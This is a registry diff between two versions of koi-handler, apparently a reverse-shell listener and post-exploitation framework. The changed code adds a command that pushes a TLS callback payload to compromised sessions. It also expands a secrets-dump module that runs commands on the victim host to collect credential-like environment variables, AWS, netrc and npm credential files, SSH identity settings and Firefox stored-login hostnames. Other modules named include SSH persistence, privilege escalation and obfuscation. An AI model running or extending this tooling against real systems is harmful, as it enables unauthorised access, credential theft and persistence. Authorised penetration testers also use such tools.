koi-handler 0.11.7__tar.gz → 0.12.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {koi_handler-0.11.7/src/koi_handler.egg-info → koi_handler-0.12.0}/PKG-INFO +1 -1
- {koi_handler-0.11.7 → koi_handler-0.12.0}/pyproject.toml +1 -1
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/listener.py +115 -4
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/blueprint.py +9 -17
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/secrets_dump.py +89 -43
- koi_handler-0.12.0/src/koi/modules/ssh_persist.py +270 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/session.py +20 -5
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/bash_obfuscate.py +0 -4
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/cli.py +10 -1
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/config.py +2 -5
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/config_ui.py +7 -37
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/detect.py +3 -2
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/interact.py +5 -7
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/obfuscate_ui.py +8 -52
- koi_handler-0.12.0/src/koi/utils/terminal.py +54 -0
- koi_handler-0.12.0/src/koi/utils/tls.py +123 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/ui.py +0 -1
- {koi_handler-0.11.7 → koi_handler-0.12.0/src/koi_handler.egg-info}/PKG-INFO +1 -1
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi_handler.egg-info/SOURCES.txt +3 -1
- koi_handler-0.11.7/src/koi/modules/env_dump.py +0 -132
- {koi_handler-0.11.7 → koi_handler-0.12.0}/LICENSE +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/setup.cfg +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/main.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/mcp/__init__.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/mcp/schema.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/mcp/server.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/download.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/duplicate.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/get_processes.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/get_users.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/ligolo.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/loader.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/network_enum.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/peas.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/populate_win.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/sharphound.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/sysinfo.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/upload.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/upload64.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/wifi_enum.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/modules/winscalate.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/tunnel/__init__.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/tunnel/agent_payload.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/tunnel/engine/__init__.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/tunnel/engine/__main__.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/tunnel/engine/agent.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/tunnel/engine/packet.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/tunnel/engine/proxy.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/tunnel/engine/stack.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/tunnel/engine/tcp.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/tunnel/engine/transport.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/tunnel/engine/tun.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/tunnel/manager.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/__init__.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/cache.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/connect/__init__.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/connect/base.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/connect/ssh.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/constants.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/logger.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/models.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/payloads.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/powerupgrade.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/ps_obfuscate.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi/utils/tcp.py +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi_handler.egg-info/dependency_links.txt +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi_handler.egg-info/entry_points.txt +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi_handler.egg-info/requires.txt +0 -0
- {koi_handler-0.11.7 → koi_handler-0.12.0}/src/koi_handler.egg-info/top_level.txt +0 -0
|
@@ -10,6 +10,7 @@ import socket
|
|
|
10
10
|
import subprocess
|
|
11
11
|
import sys
|
|
12
12
|
import threading
|
|
13
|
+
import uuid
|
|
13
14
|
import time
|
|
14
15
|
from typing import Callable, Dict, Optional
|
|
15
16
|
|
|
@@ -29,10 +30,11 @@ from koi.utils.cli import (
|
|
|
29
30
|
)
|
|
30
31
|
from koi.utils.connect import TRANSPORTS, get_transport
|
|
31
32
|
from koi.utils.powerupgrade import upgrade_windows_conptyshell
|
|
33
|
+
from koi.utils.tls import server_context, is_tls_client_hello, try_tls_handshake, encrypt_payload
|
|
32
34
|
from koi.utils.interact import interact
|
|
33
35
|
from koi.utils.tcp import get_local_ip
|
|
34
36
|
from koi.modules.loader import load_modules, get_module
|
|
35
|
-
from koi.session import Session, SessionBusy
|
|
37
|
+
from koi.session import Session, SessionBusy, recv_ready
|
|
36
38
|
from koi.tunnel.manager import TunnelManager
|
|
37
39
|
from koi.utils.ui import (
|
|
38
40
|
colored_text, display_art, print_report_box,
|
|
@@ -175,6 +177,8 @@ class Listener:
|
|
|
175
177
|
self._pending_conpty: dict = {}
|
|
176
178
|
self._conpty_staging: dict = {}
|
|
177
179
|
self._conpty_lock = threading.Lock()
|
|
180
|
+
self._pending_encrypt: dict = {}
|
|
181
|
+
self._ssl_ctx = None
|
|
178
182
|
self.screenable_mode: bool = False
|
|
179
183
|
self._winch_pending: bool = False
|
|
180
184
|
self._stopped: bool = False
|
|
@@ -274,6 +278,31 @@ class Listener:
|
|
|
274
278
|
time.sleep(0.5)
|
|
275
279
|
continue
|
|
276
280
|
|
|
281
|
+
# Purge expired encrypt tokens.
|
|
282
|
+
now_mono = time.monotonic()
|
|
283
|
+
self._pending_encrypt = {
|
|
284
|
+
k: v for k, v in self._pending_encrypt.items()
|
|
285
|
+
if now_mono < v["deadline"]
|
|
286
|
+
}
|
|
287
|
+
|
|
288
|
+
# Peek to detect TLS ClientHello before any other routing.
|
|
289
|
+
tls_handled = False
|
|
290
|
+
if self._pending_encrypt and self._ssl_ctx is not None:
|
|
291
|
+
try:
|
|
292
|
+
head = conn.recv(3, socket.MSG_PEEK)
|
|
293
|
+
except OSError:
|
|
294
|
+
head = b""
|
|
295
|
+
if is_tls_client_hello(head):
|
|
296
|
+
tls_conn = try_tls_handshake(conn, self._ssl_ctx)
|
|
297
|
+
if tls_conn is not None:
|
|
298
|
+
self._handle_encrypt_callback(tls_conn, addr)
|
|
299
|
+
tls_handled = True
|
|
300
|
+
else:
|
|
301
|
+
conn.close()
|
|
302
|
+
tls_handled = True
|
|
303
|
+
if tls_handled:
|
|
304
|
+
continue
|
|
305
|
+
|
|
277
306
|
pending = self._pending_conpty.get(addr[0])
|
|
278
307
|
if pending is not None and time.monotonic() > pending[1]:
|
|
279
308
|
self._pending_conpty.pop(addr[0], None)
|
|
@@ -682,6 +711,7 @@ class Listener:
|
|
|
682
711
|
"reload": (self._cmd_reload, 0),
|
|
683
712
|
"go": (self._cmd_go, 1),
|
|
684
713
|
"upgrade": (self._cmd_upgrade, 1),
|
|
714
|
+
"encrypt": (self._cmd_encrypt, 1),
|
|
685
715
|
"kill": (self._cmd_kill, 1),
|
|
686
716
|
"payload": (self._cmd_payload, 1),
|
|
687
717
|
"obfuscator": (self._cmd_obfuscate, 1),
|
|
@@ -712,7 +742,8 @@ class Listener:
|
|
|
712
742
|
for s in sorted(sessions, key=lambda x: x.id):
|
|
713
743
|
masked_ip = self._mask_ip(s.addr[0])
|
|
714
744
|
tag_part = f" {muted('[')}{accent(s.tag)}{muted(']')}" if s.tag else ""
|
|
715
|
-
|
|
745
|
+
tls_badge = f" {accent('TLS')}" if s.encrypted else ""
|
|
746
|
+
key = f"#{s.id}{tag_part} {s.status_dot()} {plain(masked_ip)}{muted(f':{s.addr[1]}')}{tls_badge}"
|
|
716
747
|
data[key] = f"[{s.os_label()}] {s._uptime()}"
|
|
717
748
|
print_report_box("Sessions", data)
|
|
718
749
|
|
|
@@ -786,6 +817,87 @@ class Listener:
|
|
|
786
817
|
|
|
787
818
|
notify('success', f"Shell {accent(f'#{sid}')} upgraded successfully.")
|
|
788
819
|
|
|
820
|
+
# ----------------------------------------------------------- encrypt (TLS)
|
|
821
|
+
|
|
822
|
+
_ENCRYPT_TIMEOUT = 30.0
|
|
823
|
+
|
|
824
|
+
def _handle_encrypt_callback(self, tls_conn, addr) -> None:
|
|
825
|
+
try:
|
|
826
|
+
tls_conn.settimeout(5.0)
|
|
827
|
+
line = b""
|
|
828
|
+
while not line.endswith(b"\n") and len(line) < 256:
|
|
829
|
+
chunk = tls_conn.recv(1)
|
|
830
|
+
if not chunk:
|
|
831
|
+
tls_conn.close()
|
|
832
|
+
return
|
|
833
|
+
line += chunk
|
|
834
|
+
token = line.strip().decode(errors="replace")
|
|
835
|
+
except (OSError, UnicodeDecodeError):
|
|
836
|
+
tls_conn.close()
|
|
837
|
+
return
|
|
838
|
+
|
|
839
|
+
entry = self._pending_encrypt.pop(token, None)
|
|
840
|
+
if entry is None:
|
|
841
|
+
tls_conn.close()
|
|
842
|
+
return
|
|
843
|
+
|
|
844
|
+
tls_conn.settimeout(None)
|
|
845
|
+
entry["tls_conn"] = tls_conn
|
|
846
|
+
entry["tls_addr"] = addr
|
|
847
|
+
|
|
848
|
+
def _cmd_encrypt(self, ref: str) -> None:
|
|
849
|
+
sess = self._require_alive_session(ref)
|
|
850
|
+
if sess is None:
|
|
851
|
+
return
|
|
852
|
+
sid = sess.id
|
|
853
|
+
if sess.encrypted:
|
|
854
|
+
notify('warning', f"Session {accent(f'#{sid}')} is already encrypted.")
|
|
855
|
+
return
|
|
856
|
+
|
|
857
|
+
if self._ssl_ctx is None:
|
|
858
|
+
with Spinner("Generating TLS certificate..."):
|
|
859
|
+
try:
|
|
860
|
+
self._ssl_ctx = server_context()
|
|
861
|
+
except Exception as exc:
|
|
862
|
+
notify('error', f"Could not initialize TLS: {exc}")
|
|
863
|
+
return
|
|
864
|
+
|
|
865
|
+
token = uuid.uuid4().hex
|
|
866
|
+
local_ip = get_local_ip(sess.addr[0])
|
|
867
|
+
payload = encrypt_payload(sess.os_type, local_ip, self.port, token)
|
|
868
|
+
if payload is None:
|
|
869
|
+
notify('error', f"No TLS payload for this session type.")
|
|
870
|
+
return
|
|
871
|
+
|
|
872
|
+
entry = {
|
|
873
|
+
"session": sess,
|
|
874
|
+
"deadline": time.monotonic() + self._ENCRYPT_TIMEOUT,
|
|
875
|
+
}
|
|
876
|
+
self._pending_encrypt[token] = entry
|
|
877
|
+
|
|
878
|
+
with sess.io(holder="encrypt"):
|
|
879
|
+
sess.send(payload.encode())
|
|
880
|
+
notify('info', f"TLS payload sent to {accent(f'#{sid}')}, waiting for callback...")
|
|
881
|
+
|
|
882
|
+
deadline = time.monotonic() + self._ENCRYPT_TIMEOUT
|
|
883
|
+
while time.monotonic() < deadline:
|
|
884
|
+
tls_conn = entry.get("tls_conn")
|
|
885
|
+
if tls_conn is not None:
|
|
886
|
+
try:
|
|
887
|
+
sess.conn.close()
|
|
888
|
+
except OSError:
|
|
889
|
+
pass
|
|
890
|
+
sess.conn = tls_conn
|
|
891
|
+
sess.addr = entry["tls_addr"]
|
|
892
|
+
sess.encrypted = True
|
|
893
|
+
self._pending_encrypt.pop(token, None)
|
|
894
|
+
notify('success', f"Session {accent(f'#{sid}')} encrypted (TLS)")
|
|
895
|
+
return
|
|
896
|
+
time.sleep(0.3)
|
|
897
|
+
|
|
898
|
+
self._pending_encrypt.pop(token, None)
|
|
899
|
+
notify('error', f"TLS callback from {accent(f'#{sid}')} timed out.")
|
|
900
|
+
|
|
789
901
|
def _cmd_kill(self, ref: str) -> None:
|
|
790
902
|
sess = self._resolve_session(ref)
|
|
791
903
|
if sess is None:
|
|
@@ -1047,8 +1159,7 @@ class Listener:
|
|
|
1047
1159
|
if remaining <= 0:
|
|
1048
1160
|
break
|
|
1049
1161
|
try:
|
|
1050
|
-
|
|
1051
|
-
if r:
|
|
1162
|
+
if recv_ready(sess.conn, min(remaining, 0.05)):
|
|
1052
1163
|
if sess.conn.recv(SOCKET_BUFFER_SIZE) == b"":
|
|
1053
1164
|
sess.alive = False
|
|
1054
1165
|
break
|
|
@@ -14,6 +14,7 @@ from typing import TYPE_CHECKING, Callable, Iterator, List, Literal, Optional, U
|
|
|
14
14
|
if TYPE_CHECKING:
|
|
15
15
|
from koi.session import Session
|
|
16
16
|
|
|
17
|
+
from koi.session import recv_ready
|
|
17
18
|
from koi.utils.cache import cache_path, fetch_or_cache
|
|
18
19
|
from koi.utils.config import TIMEOUTS
|
|
19
20
|
from koi.utils.constants import ANSI_RE, SOCKET_BUFFER_SIZE
|
|
@@ -280,16 +281,13 @@ class KoiModule(ABC):
|
|
|
280
281
|
|
|
281
282
|
buf = b""
|
|
282
283
|
deadline = time.monotonic() + timeout
|
|
283
|
-
|
|
284
|
-
# one rather than accumulating a whole (possibly huge) output in memory.
|
|
285
|
-
last_line = ""
|
|
284
|
+
collected: list[str] = []
|
|
286
285
|
|
|
287
286
|
while True:
|
|
288
287
|
remaining = deadline - time.monotonic()
|
|
289
288
|
if remaining <= 0:
|
|
290
289
|
break
|
|
291
|
-
|
|
292
|
-
if not r:
|
|
290
|
+
if not recv_ready(self.session.conn, min(remaining, _SELECT_TIMEOUT)):
|
|
293
291
|
continue
|
|
294
292
|
chunk = self.session.conn.recv(SOCKET_BUFFER_SIZE)
|
|
295
293
|
if not chunk:
|
|
@@ -302,15 +300,14 @@ class KoiModule(ABC):
|
|
|
302
300
|
if not text or "Write-Host" in text:
|
|
303
301
|
continue
|
|
304
302
|
if marker in text:
|
|
305
|
-
result =
|
|
303
|
+
result = "\n".join(collected)
|
|
306
304
|
if self._logger and result:
|
|
307
305
|
self._logger.log_event(f"exec {ps_expr}")
|
|
308
306
|
self._logger.log_output(result.encode("utf-8", errors="replace"))
|
|
309
307
|
return result
|
|
310
|
-
|
|
308
|
+
collected.append(text)
|
|
311
309
|
|
|
312
|
-
|
|
313
|
-
result = last_line
|
|
310
|
+
result = "\n".join(collected)
|
|
314
311
|
if self._logger and result:
|
|
315
312
|
self._logger.log_event(f"exec {ps_expr}")
|
|
316
313
|
self._logger.log_output(result.encode("utf-8", errors="replace"))
|
|
@@ -376,8 +373,7 @@ class KoiModule(ABC):
|
|
|
376
373
|
if self.session.upgraded:
|
|
377
374
|
self.session.send((ps_cmd + "\r\n").encode(self.session.encoding))
|
|
378
375
|
time.sleep(0.3)
|
|
379
|
-
|
|
380
|
-
if r:
|
|
376
|
+
if recv_ready(self.session.conn, 1.0):
|
|
381
377
|
self.session.conn.recv(SOCKET_BUFFER_SIZE)
|
|
382
378
|
elif self.session.os_type == "windows_ps":
|
|
383
379
|
self.sendline(ps_cmd)
|
|
@@ -560,8 +556,7 @@ class KoiModule(ABC):
|
|
|
560
556
|
if remaining <= 0:
|
|
561
557
|
raise CommandTimeout(command, timeout)
|
|
562
558
|
|
|
563
|
-
|
|
564
|
-
if not ready:
|
|
559
|
+
if not recv_ready(self.session.conn, min(remaining, _SELECT_TIMEOUT)):
|
|
565
560
|
continue
|
|
566
561
|
|
|
567
562
|
chunk = self.session.conn.recv(SOCKET_BUFFER_SIZE)
|
|
@@ -645,10 +640,7 @@ class KoiModule(ABC):
|
|
|
645
640
|
remaining = deadline - time.monotonic()
|
|
646
641
|
if remaining <= 0:
|
|
647
642
|
raise CommandTimeout(command, timeout)
|
|
648
|
-
|
|
649
|
-
[self.session.conn], [], [], min(remaining, _SELECT_TIMEOUT),
|
|
650
|
-
)
|
|
651
|
-
if not r:
|
|
643
|
+
if not recv_ready(self.session.conn, min(remaining, _SELECT_TIMEOUT)):
|
|
652
644
|
continue
|
|
653
645
|
chunk = self.session.conn.recv(SOCKET_BUFFER_SIZE)
|
|
654
646
|
if not chunk:
|
|
@@ -18,19 +18,40 @@ ENV_CRED_PATTERNS = re.compile(
|
|
|
18
18
|
re.IGNORECASE
|
|
19
19
|
)
|
|
20
20
|
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
21
|
+
_SENSITIVE_KEY_PARTS = (
|
|
22
|
+
"pass", "pwd", "secret", "token", "api", "auth", "cred",
|
|
23
|
+
"key", "jwt", "bearer", "database", "db_", "_db", "dsn",
|
|
24
|
+
"connection", "conn_", "_conn", "url", "uri",
|
|
25
|
+
"aws", "azure", "gcp", "google", "github", "gitlab",
|
|
26
|
+
"docker", "kube", "vault", "consul",
|
|
27
|
+
"private", "encrypt", "sign", "cert", "pfx", "pem",
|
|
28
|
+
"ldap", "smtp", "mail", "slack", "webhook",
|
|
29
|
+
)
|
|
30
|
+
|
|
31
|
+
_SENSITIVE_VALUE_RE = re.compile(
|
|
32
|
+
r'(?:'
|
|
33
|
+
r'(?:password|passwd|pass)\s*[:=]\s*\S+'
|
|
34
|
+
r'|[A-Z0-9]{20}[A-Z0-9/+]{30,}'
|
|
35
|
+
r'|ey[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}'
|
|
36
|
+
r'|ghp_[A-Za-z0-9]{30,}'
|
|
37
|
+
r'|glpat-[A-Za-z0-9_-]{20,}'
|
|
38
|
+
r'|AIza[0-9A-Za-z_-]{35}'
|
|
39
|
+
r'|postgres://\S+:\S+@'
|
|
40
|
+
r'|mysql://\S+:\S+@'
|
|
41
|
+
r'|mongodb(?:\+srv)?://\S+:\S+@'
|
|
42
|
+
r')',
|
|
43
|
+
re.IGNORECASE,
|
|
24
44
|
)
|
|
25
45
|
|
|
26
46
|
|
|
27
47
|
def parse_shell_history(content: str) -> List[str]:
|
|
28
|
-
"""Parse shell history and extract commands with credential patterns."""
|
|
29
48
|
commands = []
|
|
30
49
|
for line in content.split('\n'):
|
|
31
50
|
line = line.strip()
|
|
32
51
|
if not line or line.startswith('#'):
|
|
33
52
|
continue
|
|
53
|
+
if line.startswith(': ') and ';' in line:
|
|
54
|
+
line = line.split(';', 1)[1]
|
|
34
55
|
line = re.sub(r'\s+', ' ', line)
|
|
35
56
|
if CRED_PATTERNS.search(line):
|
|
36
57
|
if len(line) > 120:
|
|
@@ -73,27 +94,39 @@ def parse_git_config(content: str) -> Dict[str, str]:
|
|
|
73
94
|
|
|
74
95
|
|
|
75
96
|
def parse_ssh_config(content: str) -> Dict[str, Dict[str, str]]:
|
|
76
|
-
"""Parse SSH config and extract interesting hosts."""
|
|
77
97
|
result = {}
|
|
78
98
|
current_host = None
|
|
79
99
|
for line in content.split('\n'):
|
|
80
100
|
line = line.strip()
|
|
101
|
+
if not line or line.startswith('#'):
|
|
102
|
+
continue
|
|
81
103
|
if line.lower().startswith('host '):
|
|
82
104
|
current_host = line.split(None, 1)[1] if ' ' in line else None
|
|
83
|
-
elif current_host
|
|
105
|
+
elif current_host:
|
|
84
106
|
if '=' in line:
|
|
85
107
|
key, val = line.split('=', 1)
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
if
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
108
|
+
else:
|
|
109
|
+
parts = line.split(None, 1)
|
|
110
|
+
if len(parts) != 2:
|
|
111
|
+
continue
|
|
112
|
+
key, val = parts
|
|
113
|
+
key = key.strip().lower()
|
|
114
|
+
val = val.strip()
|
|
115
|
+
if key in ('user', 'port', 'identityfile', 'hostname', 'proxycommand'):
|
|
116
|
+
if current_host not in result:
|
|
117
|
+
result[current_host] = {}
|
|
118
|
+
result[current_host][key] = val
|
|
92
119
|
return result
|
|
93
120
|
|
|
94
121
|
|
|
122
|
+
def _is_interesting(key: str, value: str) -> bool:
|
|
123
|
+
kl = key.lower()
|
|
124
|
+
if any(part in kl for part in _SENSITIVE_KEY_PARTS):
|
|
125
|
+
return True
|
|
126
|
+
return bool(_SENSITIVE_VALUE_RE.search(value))
|
|
127
|
+
|
|
128
|
+
|
|
95
129
|
def filter_env_vars(content: str) -> Dict[str, str]:
|
|
96
|
-
"""Filter environment variables for credential patterns."""
|
|
97
130
|
result = {}
|
|
98
131
|
for line in content.split('\n'):
|
|
99
132
|
line = line.strip()
|
|
@@ -102,7 +135,7 @@ def filter_env_vars(content: str) -> Dict[str, str]:
|
|
|
102
135
|
key, val = line.split('=', 1)
|
|
103
136
|
key = key.strip()
|
|
104
137
|
val = val.strip()
|
|
105
|
-
if
|
|
138
|
+
if _is_interesting(key, val):
|
|
106
139
|
result[key] = val
|
|
107
140
|
return result
|
|
108
141
|
|
|
@@ -285,15 +318,24 @@ class SecretsDumpModule(KoiModule):
|
|
|
285
318
|
return result
|
|
286
319
|
|
|
287
320
|
def _hunt_env_vars(self) -> dict:
|
|
288
|
-
"""Extract interesting environment variables."""
|
|
289
321
|
result = {}
|
|
290
|
-
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
322
|
+
raw = self._try_exec("declare -x 2>/dev/null || env")
|
|
323
|
+
if not raw:
|
|
324
|
+
return result
|
|
325
|
+
env: Dict[str, str] = {}
|
|
326
|
+
for line in raw.splitlines():
|
|
327
|
+
line = line.strip()
|
|
328
|
+
if not line or "=" not in line:
|
|
329
|
+
continue
|
|
330
|
+
if line.startswith("declare -x "):
|
|
331
|
+
line = line[11:]
|
|
332
|
+
key, _, val = line.partition("=")
|
|
333
|
+
key = key.strip()
|
|
334
|
+
if key:
|
|
335
|
+
env[key] = val
|
|
336
|
+
interesting = {k: v for k, v in env.items() if _is_interesting(k, v)}
|
|
337
|
+
if interesting:
|
|
338
|
+
result["Sensitive Env Vars"] = interesting
|
|
297
339
|
return result
|
|
298
340
|
|
|
299
341
|
def _hunt_pgpass(self) -> dict:
|
|
@@ -315,9 +357,7 @@ class SecretsDumpModule(KoiModule):
|
|
|
315
357
|
return result
|
|
316
358
|
|
|
317
359
|
def _hunt_api_keys(self) -> dict:
|
|
318
|
-
"""Hunt for API keys in common locations."""
|
|
319
360
|
result = {}
|
|
320
|
-
|
|
321
361
|
locations = [
|
|
322
362
|
"~/.netrc",
|
|
323
363
|
"~/.aws/credentials",
|
|
@@ -327,15 +367,15 @@ class SecretsDumpModule(KoiModule):
|
|
|
327
367
|
"~/.npmrc",
|
|
328
368
|
"~/.gem/credentials",
|
|
329
369
|
"~/.token",
|
|
330
|
-
"~/.secrets"
|
|
370
|
+
"~/.secrets",
|
|
331
371
|
]
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
372
|
+
parts = " ".join(
|
|
373
|
+
f'[ -s {loc} ] && printf "\\n=== {loc} ===\\n" && head -20 {loc};'
|
|
374
|
+
for loc in locations
|
|
375
|
+
)
|
|
376
|
+
output = self._try_exec(parts)
|
|
336
377
|
if output and output.strip():
|
|
337
378
|
result["API Keys & Configs"] = output
|
|
338
|
-
|
|
339
379
|
return result
|
|
340
380
|
|
|
341
381
|
def _hunt_aws(self) -> dict:
|
|
@@ -489,21 +529,27 @@ class SecretsDumpModule(KoiModule):
|
|
|
489
529
|
result["Firefox Encrypted Keys"] = f"{len(firefox_key_files)} database(s)"
|
|
490
530
|
|
|
491
531
|
# Firefox - extract hostnames from logins.json
|
|
492
|
-
|
|
493
|
-
"find ~/.mozilla/firefox -type f -name 'logins.json' 2>/dev/null
|
|
532
|
+
logins_paths = self._try_exec(
|
|
533
|
+
"find ~/.mozilla/firefox -type f -name 'logins.json' 2>/dev/null"
|
|
494
534
|
)
|
|
495
|
-
if
|
|
535
|
+
if logins_paths:
|
|
496
536
|
hosts = set()
|
|
497
|
-
|
|
498
|
-
|
|
499
|
-
if
|
|
500
|
-
|
|
501
|
-
|
|
502
|
-
|
|
503
|
-
|
|
504
|
-
|
|
505
|
-
|
|
506
|
-
|
|
537
|
+
for lpath in logins_paths.strip().split('\n'):
|
|
538
|
+
lpath = lpath.strip()
|
|
539
|
+
if not lpath:
|
|
540
|
+
continue
|
|
541
|
+
raw = self._try_exec(f"cat {self._shell_quote(lpath)} 2>/dev/null")
|
|
542
|
+
if not raw:
|
|
543
|
+
continue
|
|
544
|
+
try:
|
|
545
|
+
data = json.loads(raw)
|
|
546
|
+
if isinstance(data, dict):
|
|
547
|
+
for login in data.get('logins', []):
|
|
548
|
+
host = login.get('hostname', '')
|
|
549
|
+
if host and not host.startswith('chrome://'):
|
|
550
|
+
hosts.add(host)
|
|
551
|
+
except (json.JSONDecodeError, ValueError):
|
|
552
|
+
pass
|
|
507
553
|
if hosts:
|
|
508
554
|
result["Firefox Stored Hosts"] = ", ".join(sorted(list(hosts))[:15])
|
|
509
555
|
|